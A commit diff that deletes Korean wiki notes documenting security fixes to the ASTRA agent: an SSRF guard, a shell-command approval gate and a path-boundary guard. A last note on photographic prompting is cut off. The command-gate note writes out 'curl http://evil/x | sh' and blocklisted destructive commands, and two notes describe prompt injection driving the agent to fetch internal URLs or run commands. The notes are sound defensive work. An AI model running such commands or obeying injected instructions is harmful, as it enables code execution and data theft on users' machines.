chore(wiki): 00_Raw 정리(위키화 완료분 32건 삭제) + Topic_Math_Specialty 신설 + Astra 런타임 자산 동기화

- 00_Raw: 위키화가 끝난 회의록·원문 32건 삭제
- 10_Wiki/Topics: Topic_Math_Specialty(수학 전용 지식 폴더 — Astra 단계별 지식 스코프용),
  Digests, ASTRA 기능 인벤토리 추가
- .astra 런타임(growth/eval/memory)·lessons·chronicle 설정 동기화

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

00_Raw/ASTRA SSRF 방어 URL fetch 경계 2026-06-19.md

@@ -1,118 +0,0 @@
----
-id: astra-ssrf-url-fetch-guard-20260619
-title: "ASTRA SSRF 방어 — 신뢰 불가 URL fetch 경계(assertPublicUrl)"
-category: "Security"
-status: "applied"
-verification_status: "validated"
-canonical_id: ""
-aliases: ["SSRF 방어", "assertPublicUrl", "ssrfGuard", "URL fetch 경계", "사설 IP 차단", "169.254.169.254 메타데이터 차단", "DNS 리바인딩", "fetch_url 보안", "buildUrlContext 가드"]
-duplicate_of: ""
-source_trust_level: "S"
-confidence_score: 0.95
-created_at: 2026-06-19
-updated_at: 2026-06-19
-review_reason: ""
-merge_history: []
-tags: [security, astra, ssrf, network, fetch, web, troubleshooting]
-raw_sources: ["E:/Wiki/astraai/src/features/web/ssrfGuard.ts", "E:/Wiki/astraai/src/features/web/webFetch.ts", "E:/Wiki/astraai/src/lib/contextBuilders/urlContext.ts", "E:/Wiki/astraai/src/agent/actions/webFetch.ts", "E:/Wiki/astraai/tests/ssrfGuard.test.ts"]
-applied_in: ["E:/Wiki/astraai @ branch (uncommitted, 2026-06-19)"]
-github_commit: ""
----
-
-# [[ASTRA SSRF 방어 URL fetch 경계]]
-
-## 🎯 한 줄 통찰 (One-line insight)
-**모델/웹 콘텐츠가 준 URL을 호스트 검증 없이 fetch 하던 SSRF 경로를, "공인 IP 가 아니면 거부"하는 allowlist 성격의 `assertPublicUrl` 가드로 닫고 리다이렉트 각 홉까지 재검증한다.**
-
-## 🧠 핵심 개념 (Core concepts)
-- **SSRF (Server-Side Request Forgery)**: 신뢰 불가 입력으로 서버가 내부 자원에 요청하게 만드는 공격. 여기선 "에이전트 프로세스"가 내부망/메타데이터/로컬 브릿지에 도달.
-- **차단 대상 IP**: 루프백(127/8·::1), 사설(10/8·172.16/12·192.168/16·fc00::/7), 링크로컬(169.254/16=클라우드 메타데이터·fe80::/10), CGNAT/멀티캐스트/예약, IPv4-mapped IPv6.
-- **단일 chokepoint**: `buildUrlContext` 입구에서 한 번 검증 → 브릿지 추출·직접 fetch 양 경로 모두 보호.
-- **리다이렉트 재검증**: `redirect:'manual'` + 각 홉 `assertPublicUrl` 재호출로 공인→사설 우회 차단.
-
-## 🩺 증상 (Symptom)
-일반 챗의 URL 주입과 에이전트 `<fetch_url>`이 모델/페이지가 제시한 임의 URL을 `redirect:'follow'`로 그대로 fetch했다. 악성 페이지가 `http://127.0.0.1:3002`(로컬 브릿지)·`http://169.254.169.254/...`(메타데이터)·NAS/인트라넷 주소를 제시하면 그 응답 본문이 모델 컨텍스트로 주입될 수 있었다.
-
-## 🌐 환경 / 범위 (Environment & scope)
-- 프로젝트: ASTRA (`E:/Wiki/astraai`). Node 18+ global `fetch`.
-- 경로: `urlContext.buildUrlContext`(일반 챗 + `fetch_url` 액션 공용) → ① 브릿지 추출 → ② `fetchUrlDirect` 폴백.
-- 비대상: `bridgeFetch`(의도적 localhost:3002 도구 호출)는 SSRF 가드 미적용 — 별도 함수.
-
-## 🔁 재현 절차 (Reproduction)
-1. 챗 또는 모델 응답에 `http://169.254.169.254/latest/meta-data/` 같은 내부 URL 포함.
-2. 기존 `fetchUrlDirect`: `http/https`만 확인하고 목적지 IP 미검증 → 그대로 요청, 본문 반환([webFetch.ts](E:/Wiki/astraai/src/features/web/webFetch.ts)).
-3. 공인 도메인 → 302 리다이렉트로 사설 IP 유도 시 `follow`가 그대로 추적.
-
-## 🔥 영향 및 심각도 (Impact & severity)
-**High.** 내부망 스캐닝·클라우드 메타데이터 자격증명 탈취·로컬 전용 서비스(브릿지) 호출 가능. 입력 출처가 untrusted(웹/모델)라 악용 난도 낮음.
-
-## 🧠 근본 원인 (Root cause)
-- `fetchUrlDirect`가 스킴(`http/https`)만 검사하고 **호스트→IP 해석 후 사설/예약 범위 검증이 전무**.
-- `buildUrlContext`가 URL을 브릿지·직접 양쪽으로 무검증 전달.
-- `redirect:'follow'`로 리다이렉트 목적지 재검증 불가.
-
-## 🔎 조사 과정 (Investigation)
-- 보안 감사로 `webFetch.ts:81-103`·`agent/actions/webFetch.ts:20`의 무필터 fetch 경로 식별.
-- 외부 표준 리서치: OWASP는 **denylist보다 allowlist**(공인 IP 아니면 거부), DNS 리바인딩 방지엔 **해석 시점 IP 검증/피닝** 권고 [S5].
-
-## 🛠️ 해결 (Resolution / applied fix)
-1. 신규 모듈 [ssrfGuard.ts](E:/Wiki/astraai/src/features/web/ssrfGuard.ts): `isBlockedIPv4/IPv6/Ip`, `assertPublicUrl(url)` — IP 리터럴 즉시 검사, DNS 호스트는 **모든 A/AAAA 레코드** 해석 후 하나라도 차단 대상이면 거부. `localhost`류는 해석 전 거부.
-2. [urlContext.ts](E:/Wiki/astraai/src/lib/contextBuilders/urlContext.ts) 입구에 `assertPublicUrl` — 실패 시 "🚫 URL 접근 차단" 정직 블록 반환(브릿지·직접 양 경로 차단).
-3. [webFetch.ts](E:/Wiki/astraai/src/features/web/webFetch.ts) `fetchUrlDirect`: `redirect:'manual'`로 전환, 최대 5홉 루프에서 각 홉 `assertPublicUrl` 재검증(이중 방어 + 독립 호출자 보호).
-
-## 💻 코드 패턴 (Code patterns)
-```ts
-// ssrfGuard.ts — "공인 아니면 거부"
-export async function assertPublicUrl(rawUrl: string): Promise<void> {
-  const host = new URL(rawUrl).hostname.replace(/^\[|\]$/g, '');
-  if (isIP(host)) { if (isBlockedIp(host)) throw new SsrfBlockedError(`차단된 내부 IP: ${host}`); return; }
-  if (/^localhost$/i.test(host) || host.endsWith('.localhost')) throw new SsrfBlockedError('로컬 호스트');
-  const addrs = await dnsLookup(host, { all: true });          // 모든 레코드 검사(다중 IP 우회 방지)
-  for (const { address } of addrs)
-    if (isBlockedIp(address)) throw new SsrfBlockedError(`내부 IP 해석: ${host} → ${address}`);
-}
-```
-```ts
-// webFetch.ts — 리다이렉트 각 홉 재검증
-for (let hop = 0; hop <= 5; hop++) {
-  try { await assertPublicUrl(current); } catch (e) { return fail(`차단됨(SSRF 방지): ${e.message}`); }
-  res = await fetch(current, { redirect: 'manual', /* … */ });
-  if (res.status >= 300 && res.status < 400 && res.headers.get('location')) {
-    current = new URL(res.headers.get('location'), current).toString(); continue;
-  }
-  break;
-}
-```
-
-## ✅ 검증 (Verification)
-- 신규 [tests/ssrfGuard.test.ts](E:/Wiki/astraai/tests/ssrfGuard.test.ts) 9개: IPv4/IPv6 범위, 내부 IP URL 거부, `localhost` 거부, 잘못된 URL 거부.
-- `urlContextBuild.test.ts`는 SSRF 가드를 모킹(할루시네이션 로직 검증 전용, DNS 비의존화).
-- `tsc` 0 에러, 전체 716 통과.
-
-## ⚖️ 모순 및 업데이트 (Contradictions & updates)
-**한계(정직 고지):** 해석 시점 검증이라 fetch 가 재해석하는 사이 레코드가 바뀌는 **DNS 리바인딩 창**은 완전히 닫지 못한다. 완전 차단은 연결 IP 고정(커스텀 undici dispatcher)이 필요 — 정적 사설 IP·리다이렉트 우회는 차단됨. 브릿지(:3002) 자체의 서버사이드 fetch SSRF는 브릿지(별도 프로젝트)의 책임.
-
-## 🛠️ 적용 사례 (Applied in summary)
-ASTRA 일반 챗 URL 주입 + 에이전트 `fetch_url` 액션 + `/wikify` 폴백(직접 fetch) 경로에 적용.
-
-## ✅ 검증 상태 및 신뢰도
-- **상태:** applied (미커밋)
-- **검증 단계:** validated (단위 테스트 + 빌드/타입)
-- **출처 신뢰도:** S
-- **신뢰 점수:** 0.95
-- **중복 검사 결과:** 신규 생성
-
-## 🔗 지식 그래프 (Knowledge Graph)
-- **상위/루트:** [[ASTRA]]
-- **관련 개념:** [[ASTRA 에이전트 셸 명령 실행 보안 게이트]], [[ASTRA 파일 경로 경계 가드]], [[ASTRA Datacollect Bridge]]
-- **참조 맥락:** 에이전트/LLM이 외부 URL을 가져올 때의 네트워크 경계 통제 기준.
-
-## 📚 출처 (Sources)
-- [S1] `E:/Wiki/astraai/src/features/web/ssrfGuard.ts` — IP 범위 판정 + `assertPublicUrl`.
-- [S2] `E:/Wiki/astraai/src/features/web/webFetch.ts` — `fetchUrlDirect` 수동 리다이렉트 + 가드.
-- [S3] `E:/Wiki/astraai/src/lib/contextBuilders/urlContext.ts` — 입구 chokepoint.
-- [S4] `E:/Wiki/astraai/tests/ssrfGuard.test.ts` — 회귀 테스트.
-- [S5] OWASP SSRF Prevention / `azu/request-filtering-agent`, Wiz SSRF guide — allowlist·DNS 리바인딩 권고.
-
-## 📝 변경 이력 (Change history)
-- 2026-06-19: 보안 감사 + 외부 표준 대조 후 SSRF 가드 신설 및 최초 문서화(Claude Opus 4.8).

00_Raw/ASTRA 셸 명령 실행 보안 게이트 2026-06-19.md

@@ -1,126 +0,0 @@
----
-id: astra-run-command-security-gate-20260619
-title: "ASTRA 에이전트 셸 명령 실행 보안 게이트 (run_command 승인·분류)"
-category: "Security"
-status: "applied"
-verification_status: "validated"
-canonical_id: ""
-aliases: ["run_command 게이트", "셸 명령 승인", "command execution gate", "sanitizeCommand allowlist", "에이전트 임의 코드 실행 방지", "classifyCommand", "ASTRA 명령 승인 큐"]
-duplicate_of: ""
-source_trust_level: "S"
-confidence_score: 0.97
-created_at: 2026-06-19
-updated_at: 2026-06-19
-review_reason: ""
-merge_history: []
-tags: [security, astra, agent, shell, approval, RCE, troubleshooting]
-raw_sources: ["E:/Wiki/astraai/src/security.ts", "E:/Wiki/astraai/src/agent/actions/runCommand.ts", "E:/Wiki/astraai/src/agent/actions/types.ts", "E:/Wiki/astraai/src/agent.ts", "E:/Wiki/astraai/src/features/approval/approvalQueue.ts", "E:/Wiki/astraai/tests/commandGate.test.ts"]
-applied_in: ["E:/Wiki/astraai @ branch (uncommitted, 2026-06-19)"]
-github_commit: ""
----
-
-# [[ASTRA 에이전트 셸 명령 실행 보안 게이트]]
-
-## 🎯 한 줄 통찰 (One-line insight)
-**에이전트가 emit 한 `<run_command>`가 사람 확인·허용리스트 강제 없이 즉시 셸에서 실행되던 임의 코드 실행(RCE) 경로를, "차단 / 자동허용 / 승인필요" 3분류 게이트로 닫았다.**
-
-## 🧠 핵심 개념 (Core concepts)
-- **게이트 우회 (gate bypass)**: dryRun 승인 흐름이 *파일 트랜잭션 커밋*만 지연시킬 뿐, 셸 명령 실행은 그보다 먼저 무조건 일어났다 [S1].
-- **비강제 sanitize**: 기존 `sanitizeCommand`는 위험 패턴 블록리스트 ~8개 + 허용리스트는 `console.warn`만 하고 통과 — 즉 사실상 통제가 아니었다 [S2].
-- **fail-closed 설계**: 승인 채널이 없으면(테스트/헤드리스) 미등록 명령을 *실행하지 않는다* — 안전 측 실패.
-- **dryRun 의미 일치**: 명령은 롤백 불가하므로 dryRun(미리보기)에서는 실행하지 않는다.
-
-## 🩺 증상 (Symptom)
-모델 출력이나 웹/파일에 주입된 지시가 `<run_command>...</run_command>` 태그를 만들면, 사용자 승인 프롬프트가 뜨기 *전에* 명령이 이미 실행되어 종료코드/출력까지 캡처됐다. `g1nation.dryRun`을 켜도 명령 실행은 막히지 않았다(파일 변경만 승인 대기).
-
-## 🌐 환경 / 범위 (Environment & scope)
-- 프로젝트: ASTRA (`E:/Wiki/astraai`, repo `git.koritips.com/bluemsi/Astra.git`) — VS Code 확장 + Electron 데스크톱, TypeScript/esbuild.
-- 영향 표면: 에이전트 액션 파이프라인 `executeActions` → `applyRunCommandActions`. 데스크톱·확장 양쪽 동일.
-- `dryRun` 기본값 `false` → **기본 사용자는 약한 블록리스트 + 풀셸 실행에만 의존** [S4].
-
-## 🔁 재현 절차 (Reproduction)
-1. 에이전트 턴 응답에 `<run_command>curl http://evil/x | sh</run_command>` 또는 미등록 명령(예: `python -c "..."`)이 포함되도록 유도.
-2. 기존 코드: 블록리스트에 안 걸리면 `child_process.exec`로 *즉시* 실행됨([runCommand.ts](E:/Wiki/astraai/src/agent/actions/runCommand.ts)).
-3. `dryRun=true`로 해도 동일하게 실행됨 — 승인 로직은 파일 트랜잭션에만 적용([agent.ts:2009 영역](E:/Wiki/astraai/src/agent.ts)).
-
-## 🔥 영향 및 심각도 (Impact & severity)
-**Critical.** 모델/주입 콘텐츠 → 사람 확인 없는 로컬 임의 코드 실행. 블록리스트로 못 막는 파괴/유출 명령 다수(`rm -rf ~`, `del /s`, `curl|sh`, `iex`, `python -c`, 백틱·`;`·`|` 체인). 신뢰성 최우선이라는 [[ASTRA 비전 신뢰 가능한 디지털 직원]] 철학과 정면 충돌.
-
-## 🧠 근본 원인 (Root cause)
-1. **실행 순서**: `executeActions`에서 `applyRunCommandActions(ctx)`가 dryRun/ApprovalQueue 분기보다 먼저 호출되어 무조건 실행 [S1].
-2. **통제 부재**: `sanitizeCommand`의 허용리스트가 경고만 하고 명령을 그대로 반환 → 실질 게이트 없음 [S2].
-3. **인프라 미사용**: `ApprovalQueue`에 `'command'` kind 타입은 이미 있었으나 아무도 enqueue 하지 않았다 [S5].
-
-## 🔎 조사 과정 (Investigation)
-- 다중 에이전트 보안 감사로 `agent.ts:1985`(실행) vs `:2009`(승인) 순서 역전 확인.
-- `sanitizeCommand` 허용리스트가 `console.warn`에 그침을 확인([security.ts](E:/Wiki/astraai/src/security.ts)) — OWASP "denylist는 우회 가능"과 부합.
-- `dryRun` 기본 `false`, 명령 승인용 설정·`'command'` enqueue 부재 확인.
-
-## 🛠️ 해결 (Resolution / applied fix)
-1. `security.ts`에 **`classifyCommand(cmd): 'block' | 'allow' | 'approve'`** 도입 + 보조함수 `assertCommandSafe`, `isCommandAllowlisted`. 블록리스트 대폭 강화(`rm -rf /~.*`, `curl|sh`/`wget|bash`, `iex`, `mkfs`, `dd`, `del /s`, `Remove-Item -Recurse -Force`, fork bomb, `shutdown` 등), 허용리스트 확장(npm/git/node/python/tsc/jest/docker…) + **체인의 모든 세그먼트 검사**.
-2. `runCommand.ts` 재작성: block→차단 보고, allow→즉시 실행, approve→`ApprovalQueue('command')` enqueue 후 **승인 시에만 실행**하고 결과를 `postChunk`로 채팅 전달. dryRun→미실행 미리보기. 승인 채널 없으면 fail-closed(실행 보류).
-3. `HandlerContext`에 `dryRun?`, `approvalQueue?`, `postChunk?` 주입; `agent.ts`에서 채움.
-4. **구조적 안전 포인트**: 명령 승인(dryRun off)과 트랜잭션 승인(dryRun on)이 상호배타 → 0..1 승인 큐 선점 충돌 없음.
-
-## 💻 코드 패턴 (Code patterns)
-```ts
-// security.ts — 3분류 게이트
-export function classifyCommand(command: string): 'block' | 'allow' | 'approve' {
-  try { assertCommandSafe(command); } catch { return 'block'; }      // 파괴 패턴: 승인으로도 불가
-  return isCommandAllowlisted(command) ? 'allow' : 'approve';         // 모든 세그먼트 allowlist → allow
-}
-```
-```ts
-// runCommand.ts — 게이트 적용 (요약)
-const decision = classifyCommand(cmd);
-if (decision === 'block') { report.push(`❌ 차단됨(위험 명령)`); continue; }
-if (ctx.dryRun) { report.push(`⚠️ Dry Run — 명령 미실행`); continue; }
-if (decision === 'approve') {
-  if (ctx.approvalQueue) { pendingApproval.push(safeCmd); /* enqueue 후 승인 시 실행 */ }
-  else report.push(`⛔ 미승인 명령 — 실행 보류(fail-closed)`);
-  continue;
-}
-report.push(await executeCommand(safeCmd, rootPath));                // allow → 즉시 실행
-```
-
-## ✅ 검증 (Verification)
-- `tsc --noEmit` 0 에러, esbuild 양쪽 번들 빌드 성공.
-- 신규 [tests/commandGate.test.ts](E:/Wiki/astraai/tests/commandGate.test.ts) 9개: 분류(allow/approve/block)·즉시실행·fail-closed·승인 후 실행·dryRun 미실행·파괴 명령 차단.
-- 기존 `folderActions.test.ts` 5개 유지(mkdir allow 실행 / rm -rf / 차단).
-- 전체 스위트 707 통과.
-
-## ⚖️ 검토했으나 적용 안 한 것 (Considered & rejected)
-- **`exec`→`execFile`(셸 제거)**: `&&` 체인 + PowerShell 재작성을 깨므로 불가 — 셸 유지 + 분류/승인으로 대체.
-- **블록리스트만 강화**: OWASP상 우회 가능 — 허용리스트+승인을 본 통제로.
-
-## 🚧 재발 방지 (Prevention / regression guard)
-- `commandGate.test.ts`가 분류·실행 경로를 회귀로 고정.
-- 새 위험 패턴은 `DANGEROUS_PATTERNS`, 새 허용 도구는 `SAFE_BASE_COMMANDS`에만 추가(call-site 변경 불필요).
-
-## 📌 교훈 (Lessons)
-- **"통제는 경고가 아니라 거부여야 한다"** — `console.warn` 허용리스트는 보안 통제가 아니다.
-- **실행 순서가 곧 보안 경계** — 승인 게이트는 부수효과(실행)보다 반드시 *앞*에 와야 한다.
-- 타입에 `'command'` kind가 이미 있었듯, *스캐폴딩만 있고 미배선된 안전장치*를 의심하라.
-
-## ✅ 검증 상태 및 신뢰도
-- **상태:** applied (코드 반영, 미커밋)
-- **검증 단계:** validated (단위 테스트 + 빌드/타입 통과)
-- **출처 신뢰도:** S (1차 소스 = 실제 코드/테스트)
-- **신뢰 점수:** 0.97
-- **중복 검사 결과:** 신규 생성
-
-## 🔗 지식 그래프 (Knowledge Graph)
-- **상위/루트:** [[ASTRA]]
-- **관련 개념:** [[ASTRA SSRF 방어 URL fetch 경계]], [[ASTRA 파일 경로 경계 가드]], [[ASTRA 비전 신뢰 가능한 디지털 직원]]
-- **참조 맥락:** 에이전트가 셸/파일/네트워크 부수효과를 일으킬 때의 사람-개입(human-in-the-loop) 설계 기준.
-
-## 📚 출처 (Sources)
-- [S1] `E:/Wiki/astraai/src/agent.ts` — `executeActions` 실행 순서(명령 실행 → 이후 dryRun 승인 분기) 및 ctx 주입.
-- [S2] `E:/Wiki/astraai/src/security.ts` — `classifyCommand`/`assertCommandSafe`/`isCommandAllowlisted`/`sanitizeCommand`.
-- [S3] `E:/Wiki/astraai/src/agent/actions/runCommand.ts` — 게이트 적용 핸들러.
-- [S4] `E:/Wiki/astraai/src/config.ts` — `dryRun` 기본값 false.
-- [S5] `E:/Wiki/astraai/src/features/approval/approvalQueue.ts` — `ApprovalKind`에 `'command'` 기정의.
-- [S6] `E:/Wiki/astraai/tests/commandGate.test.ts` — 회귀 테스트.
-
-## 📝 변경 이력 (Change history)
-- 2026-06-19: 다중 에이전트 보안 감사에서 발견한 RCE 경로 수정 후 최초 문서화(Claude Opus 4.8 작업 기록).

00_Raw/ASTRA 파일 경로 경계 가드 2026-06-19.md

@@ -1,106 +0,0 @@
----
-id: astra-path-boundary-guard-20260619
-title: "ASTRA 파일 경로 경계 가드 — validatePath prefix 약점 + brain:read 클램핑"
-category: "Security"
-status: "applied"
-verification_status: "validated"
-canonical_id: ""
-aliases: ["validatePath 경계", "path traversal 방지", "prefix 혼동 취약점", "path.sep 경계", "brain:read 클램핑", "isWithinRoot", "IPC 경로 가드", "경로 탈출 차단"]
-duplicate_of: ""
-source_trust_level: "S"
-confidence_score: 0.94
-created_at: 2026-06-19
-updated_at: 2026-06-19
-review_reason: ""
-merge_history: []
-tags: [security, astra, path-traversal, ipc, electron, troubleshooting]
-raw_sources: ["E:/Wiki/astraai/src/security.ts", "E:/Wiki/astraai/desktop/main.ts", "E:/Wiki/astraai/src/agent/actions/fileCreateEdit.ts", "E:/Wiki/astraai/tests/validatePath.test.ts"]
-applied_in: ["E:/Wiki/astraai @ branch (uncommitted, 2026-06-19)"]
-github_commit: ""
----
-
-# [[ASTRA 파일 경로 경계 가드]]
-
-## 🎯 한 줄 통찰 (One-line insight)
-**`startsWith(root)` 한 줄이 `…/astraai`를 `…/astraai-secrets`까지 통과시키던 경계 혼동을 `path.sep` 단위 비교로 막고, 두뇌 뷰어 IPC(`brain:read`)의 임의 파일 읽기를 두뇌 루트로 클램핑했다.**
-
-## 🧠 핵심 개념 (Core concepts)
-- **prefix 혼동 (prefix confusion)**: 구분자 가드 없는 `startsWith`는 `/foo`가 `/foobar`를 경계 안으로 오인한다 — 반드시 `root + path.sep` 또는 `path.relative` 기반 비교.
-- **realpath 경계 검사**: 심볼릭 링크 우회를 막으려면 대상의 *실제 경로*를 풀어 비교(`isWithinRoot`).
-- **채널별 경계**: 두뇌 뷰어(`brain:read`)는 두뇌 루트로 제한 가능하나, 범용 파일 편집기(`fs:read/write`)는 *의도적으로* 전체 FS 접근 — 채널 목적에 맞는 경계를 둔다.
-
-## 🩺 증상 (Symptom)
-1. `validatePath`가 신뢰 루트 `e:\wiki\astraai`에 대해 `e:\wiki\astraai-secrets\x` 같은 형제 경로를 통과시켰다(접두 문자열 일치).
-2. 데스크톱 IPC `astra:brain:read`가 경로 검증 없이 임의 절대경로를 최대 200KB 읽어 반환.
-
-## 🌐 환경 / 범위 (Environment & scope)
-- 프로젝트: ASTRA (`E:/Wiki/astraai`). `validatePath`는 에이전트 파일 액션(create/edit/read/delete)의 샌드박스 근간.
-- 데스크톱 IPC 핸들러(`desktop/main.ts`)는 렌더러가 호출하는 파일 채널.
-
-## 🔁 재현 절차 (Reproduction)
-1. 작업폴더 `C:\sandboxroot`(부모가 드라이브 루트라 widening 없음)에서 `validatePath(root, 'C:\\sandboxroot-evil\\x')` 호출 → 기존엔 통과(BUG).
-2. `window.astra.brain.read('C:\\Windows\\win.ini')` → 기존엔 임의 파일 내용 반환.
-
-## 🔥 영향 및 심각도 (Impact & severity)
-**High.** prefix 혼동은 샌드박스 형제 디렉토리 탈출을 허용. `brain:read` 무제한은 침해/주입된 렌더러가 임의 파일을 읽는 정보노출 경로.
-
-## 🧠 근본 원인 (Root cause)
-- [security.ts](E:/Wiki/astraai/src/security.ts) `validatePath`: `trusted.some(root => normalizedTarget.startsWith(root))` — 구분자 가드 부재.
-- [main.ts](E:/Wiki/astraai/desktop/main.ts) `astra:brain:read`: 경계 검사 없는 `fs.readFileSync(filePath)`.
-
-## 🔎 조사 과정 (Investigation)
-- 보안 감사로 `security.ts:52` prefix 비교 약점과 `main.ts:321` 무가드 읽기 식별.
-- 렌더러 사용처 추적: `brain:read`는 Brain 뷰어가 `brain:list` 결과만 읽음 → 두뇌 루트 클램핑이 기능 손실 0.
-- 반면 `fs:read/write`는 Explorer/FileEditor의 **범용 편집기**(FileTree `goParent` 상위 탐색 + "연 파일이 진실의 원천"이라는 명시 주석)라 클램핑 시 문서화된 기능 파괴 → 제외 판단.
-
-## 🛠️ 해결 (Resolution / applied fix)
-1. `validatePath` 경계 비교를 `path.sep` 단위로 교정: `normalizedTarget === r || normalizedTarget.startsWith(r + path.sep)`.
-2. `desktop/main.ts`에 모듈 레벨 `isWithinRoot(root, target)`(realpath + sep 가드) 추가, `astra:brain:read`를 활성 두뇌 폴더로 클램핑.
-
-## 💻 코드 패턴 (Code patterns)
-```ts
-// security.ts — sep 단위 경계 비교
-const isTrusted = trusted.some(root => {
-  const r = root.endsWith(path.sep) ? root.slice(0, -1) : root;
-  return normalizedTarget === r || normalizedTarget.startsWith(r + path.sep);
-});
-```
-```ts
-// desktop/main.ts — 두뇌 뷰어 채널 클램핑
-H('astra:brain:read', async (_e, filePath: string) => {
-  try {
-    const root = getActiveBrainProfile().localBrainPath;
-    if (!root || !isWithinRoot(root, filePath)) return '';   // 두뇌 폴더 밖 → 거부
-    return fs.readFileSync(filePath, 'utf-8').slice(0, 200000);
-  } catch { return ''; }
-});
-```
-
-## ✅ 검증 (Verification)
-- 신규 [tests/validatePath.test.ts](E:/Wiki/astraai/tests/validatePath.test.ts) 6개: 내부 경로 허용, 형제 prefix(`…root-evil`) 차단, `..` 탈출 차단.
-- `tsc` 0 에러, esbuild 양쪽 빌드 성공, 전체 716 통과.
-
-## ⚖️ 모순 및 업데이트 (Contradictions & updates)
-- **의도적으로 클램핑하지 않은 것**: `fs:read`/`fs:write`(범용 편집기, FileTree `goParent`로 전체 FS 편집이 설계 의도이자 테스트됨), `create_dir` 절대경로(주석상 "저위험·비파괴 mkdir", 테스트 보장). 이들의 본질 위협(렌더러 침해)은 `sandbox:true`+navigation 가드가 올바른 완화책 — 별도 후속 과제.
-- 즉 "모든 IPC를 workingDir로 묶는" 기계적 적용은 문서화된 기능을 깨므로 **채널 목적별 경계**가 정답.
-
-## ✅ 검증 상태 및 신뢰도
-- **상태:** applied (미커밋)
-- **검증 단계:** validated
-- **출처 신뢰도:** S
-- **신뢰 점수:** 0.94
-- **중복 검사 결과:** 신규 생성
-
-## 🔗 지식 그래프 (Knowledge Graph)
-- **상위/루트:** [[ASTRA]]
-- **관련 개념:** [[ASTRA 에이전트 셸 명령 실행 보안 게이트]], [[ASTRA SSRF 방어 URL fetch 경계]], [[Electron 보안 하드닝]]
-- **참조 맥락:** 에이전트/IPC가 파일시스템에 접근할 때의 경계(sandbox) 설계 기준.
-
-## 📚 출처 (Sources)
-- [S1] `E:/Wiki/astraai/src/security.ts` — `validatePath` sep 경계 수정.
-- [S2] `E:/Wiki/astraai/desktop/main.ts` — `isWithinRoot` + `astra:brain:read` 클램핑.
-- [S3] `E:/Wiki/astraai/src/agent/actions/fileCreateEdit.ts` — `create_dir` 절대경로 의도(미변경 근거).
-- [S4] `E:/Wiki/astraai/tests/validatePath.test.ts` — 회귀 테스트.
-
-## 📝 변경 이력 (Change history)
-- 2026-06-19: 보안 감사에서 발견한 prefix 경계 약점 + 무가드 IPC 읽기 수정 후 최초 문서화(Claude Opus 4.8).

00_Raw/광학적 시각 제어.md

@@ -1,162 +0,0 @@
----
-id: 광학적-시각-제어
-title: "광학적 시각 제어"
-category: "AI_and_ML"
-status: "draft"
-verification_status: "conceptual"
-canonical_id: ""
-aliases: ["Optical Visual Control", "사진학적 수치 모사", "Camera Modifiers", "AI 촬영 공학", "Visual Parameters", "Photographic Prompting"]
-duplicate_of: ""
-source_trust_level: "S"
-confidence_score: 0.98
-created_at: 2026-06-26
-updated_at: 2026-06-26
-review_reason: ""
-merge_history: []
-tags: ["research", "이미지 prompt 생성 예시", "광학적 시각 제어"]
-raw_sources: ["25+ AI Prompts for Stunning Anime-Style Illustrations | The GBTI Network", "Camera + Lighting Prompt Cheatsheet for AI Images Guide", "Photography Modifiers in AI-Generated Images | CodeSignal Learn", "생성형 이미지 모델의 프롬프트 엔지니어링 메커니즘과 도메인별 최적화 및 실무 예시"]
-applied_in: ["Gemini 2.5 Flash Image", "Midjourney V8.1", "Stable Diffusion XL"]
-github_commit: ""
----
-
-# [[광학적 시각 제어]]
-
-## 🎯 한 줄 통찰 (One-line insight)
-현실의 물리적 카메라 메커니즘(렌즈, 조명, 기계 사양)을 텍스트 토큰으로 정밀 모사함으로써 AI 모델의 확률적 생성 결과에 물리적 실재감과 시각적 질서를 부여하는 정밀 제어 기술이다 [S1623, S1179].
-
-## 🧠 핵심 개념 (Core concepts)
-- **렌즈 기하학 모사 (Lens Geometry):** 초점거리(Focal Length) 수치를 통해 공간의 압축률과 피사체의 투시 왜곡을 수학적으로 결정함 [S1623].
-- **조명 공학 (Lighting Architecture):** 광원의 종류(Softbox, Neon)와 조사 각도를 명시하여 피사체의 입체감과 심도를 연산함 [S1624, S703].
-- **기계적 사양 구체화 (Hardware Specs):** 특정 카메라 바디(DSLR), 조리개($f$-stop), ISO, 셔터 스피드 값을 통해 모델의 고해상도 생성 한계를 활성화함 [S1624, S33].
-- **광학적 결함 주입 (Optical Imperfections):** 색수차, 렌즈 왜곡, 필름 그레인 등을 의도적으로 기술하여 인위적인 질감을 배제하고 사실성을 확보함 [S1624, S33].
-
-## 🧩 추출된 패턴 (Extracted patterns)
-- **카메라 우선 구조화 (Lead with Camera):** 피사체 묘사보다 "Wide shot, 35mm lens"와 같은 사양을 프롬프트 서두에 배치하여 전체 레이아웃의 원근감을 선제적으로 할당함 [S1061, S1643].
-- **심도-렌즈 매칭:** 인물 사진에는 85mm와 얕은 심도($f/1.8$ 이하)를, 건축물에는 24mm와 깊은 심도($f/8.0$ 이상)를 결합하여 시각적 목적을 달성함 [S1623, S704].
-- **분리형 라이팅 패턴:** 피사체 배후에 강력한 광원(Rim Light)을 배치하여 배경과 실루엣을 명확히 분리하고 고급스러운 마감을 부여함 [S1624, S707].
-
-## ⚖️ 비교 및 선택 기준 (Comparison & decision criteria)
-
-| 렌즈 유형 | 조리개 권장치 | 시각적 특성 | 최적 활용 도메인 |
-|---|---|---|---|
-| **85mm Portrait** | $f/1.4 - f/2.2$ | 얼굴 왜곡 제거, 배경 보케 극대화 [S1623] | 패션 화보, 인물 클로즈업 [S1623] |
-| **50mm Standard** | $f/4.0 - f/8.0$ | 인간의 안구와 유사한 무왜곡 원근감 [S1623] | 제품 촬영, 스틸 라이프 [S1623] |
-| **35mm Wide** | $f/2.8 - f/5.6$ | 피사체와 배경의 이상적 비중 분배 [S1623] | 영화 스틸컷, 스토리보드 [S1623] |
-| **24mm Ultra Wide** | $f/5.6 - f/11.0$ | 전경 왜곡, 극적 소실점 강조 [S1623] | 웅장한 건축, 광활한 풍경 [S1623] |
-
-## 📖 세부 내용 (Details)
-
-### 1. 렌즈 사양에 따른 화각 및 원근 제어 [S1623]
-- **85mm 렌즈:** 망원 계열의 특성을 활용해 배경을 부드럽게 뭉개는 '소프트 배경 보케'를 유도하며, 인물 촬영 시 이목구비의 왜곡을 방지한다 [S1623, S1180].
-- **50mm 렌즈:** 표준 렌즈로서 정밀한 대칭 렌더링과 평면 구성을 보장하며, 상업용 제품 사진의 사실성을 높이는 데 최적화되어 있다 [S1623, S8].
